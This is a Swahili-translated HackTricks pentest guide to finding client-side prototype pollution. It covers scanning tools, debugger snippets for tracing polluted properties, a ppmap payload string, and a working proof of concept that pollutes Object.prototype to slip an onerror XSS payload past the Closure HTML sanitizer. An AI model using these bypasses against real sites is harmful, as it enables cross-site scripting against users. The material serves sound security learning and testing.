Client Side Prototype Pollution

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Kugundua kwa kutumia Zana za Moja kwa Moja

Zana https://github.com/dwisiswant0/ppfuzz, https://github.com/kleiton0x00/ppmap na https://github.com/kosmosec/proto-find zinaweza kutumika kupata udhaifu wa prototype pollution.

Zaidi ya hayo, unaweza pia kutumia nyongeza ya kivinjari PPScan kuangalia kiotaji unachofikia kwa udhaifu wa prototype pollution.

Kurekebisha mahali ambapo mali inatumika

// Stop debugger where 'potentialGadget' property is accessed
Object.defineProperty(Object.prototype,'potentialGadget', {__proto__:null, get(){
console.trace();
return 'test';
}})

Kupata sababu ya msingi ya Prototype Pollution

Mara tu udhaifu wa prototype pollution unapogundulika na zana yoyote, na ikiwa msimbo si mgumu kupita kiasi, unaweza kupata udhaifu kwa kutafuta maneno muhimu kama location.hash, decodeURIComponent, au location.search katika Zana za Wataalamu za Chrome. Njia hii inakuwezesha kubaini sehemu iliyo hatarini ya msimbo wa JavaScript.

Kwa misimbo mikubwa na ngumu zaidi, njia rahisi ya kugundua msimbo hatarini inajumuisha hatua zifuatazo:

1. Tumia zana kubaini udhaifu na kupata payload iliyoundwa kuweka mali katika mjenzi. Mfano uliopewa na ppmap unaweza kuonekana kama: constructor[prototype][ppmap]=reserved.

2. Weka breakpoint kwenye mstari wa kwanza wa msimbo wa JavaScript utakaotekelezwa kwenye ukurasa. Fanya upya ukurasa na payload, ukisimamisha utekelezaji kwenye breakpoint hii.

3. Wakati utekelezaji wa JavaScript umesimamishwa, tekeleza script ifuatayo kwenye console ya JS. Script hii itatoa ishara wakati mali ya 'ppmap' inaundwa, kusaidia katika kutafuta asili yake:

function debugAccess(obj, prop, debugGet=true){

var origValue = obj[prop];

Object.defineProperty(obj, prop, {
get: function () {
if (debugGet)
debugger;
return origValue;
},
set: function(val) {
debugger;
origValue = val;
}
});

};

debugAccess(Object.prototype, 'ppmap')

1. Rudi kwenye kichupo cha Sources na uchague "Resume script execution". JavaScript itaendelea kutekelezwa, na mali ya 'ppmap' itachafuka kama inavyotarajiwa. Kutumia kipande kilichotolewa husaidia kutambua mahali halisi ambapo mali ya 'ppmap' inachafuka. Kwa kuchunguza Call Stack, stacks tofauti ambapo uchafuzi ulitokea zinaweza kuonekana.

Unapofanya maamuzi kuhusu stack ipi ya kuchunguza, mara nyingi ni muhimu kulenga stacks zinazohusiana na faili za maktaba ya JavaScript, kwani uchafuzi wa prototype hutokea mara nyingi ndani ya maktaba hizi. Tambua stack husika kwa kuchunguza kiambatisho chake kwa faili za maktaba (inaonekana upande wa kulia, kama picha iliyotolewa kwa mwongozo). Katika hali zenye stacks nyingi, kama zile kwenye mistari ya 4 na 6, chaguo la busara ni stack kwenye mstari wa 4, kwani inawakilisha tukio la awali la uchafuzi na hivyo sababu ya msingi ya udhaifu. Kubofya kwenye stack kutakupeleka kwenye msimbo ulio hatarini.

https://miro.medium.com/max/1400/1*S8NBOl1a7f1zhJxlh-6g4w.jpeg

Kutafuta Gadget za Script

Gadget ni msimbo ambao utakabiliwa mara tu udhaifu wa PP utakapogundulika.

Ikiwa programu ni rahisi, tunaweza kutafuta maneno muhimu kama srcdoc/innerHTML/iframe/createElement na kupitia msimbo wa chanzo na kuangalia ikiwa inaleta utendaji wa javascript. Wakati mwingine, mbinu zilizotajwa zinaweza kutokupata gadgets kabisa. Katika kesi hiyo, kupitia msimbo wa chanzo wa safi kunaweza kufichua gadgets nzuri kama mfano ulio hapa chini.

Mfano wa Kupata gadget ya PP katika msimbo wa maktaba ya Mithil

Angalia andiko hili: https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

Urejeleaji wa payloads kwa maktaba zilizo hatarini

• https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution

• https://github.com/BlackFan/client-side-prototype-pollution

Kupita kwa HTML Sanitizers kupitia PP

Utafiti huu unaonyesha gadgets za PP za kutumia ili kupita sanizations zinazotolewa na baadhi ya maktaba za HTML sanitizers:

• sanitize-html

• dompurify

• Closure

<!-- from https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ -->
<script>
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
</script>
<body>
<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);

document.body.append(node);
</script>

References

• https://infosecwriteups.com/hunting-for-prototype-pollution-and-its-vulnerable-code-on-js-libraries-5bab2d6dc746

• https://blog.s1r1us.ninja/research/PP

• https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/#:~:text=my%20challenge.-,Closure,-Closure%20Sanitizer%20has

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Angalia mpango wa usajili!

• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au fuata sisi kwenye Twitter 🐦 @hacktricks_live.

• Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.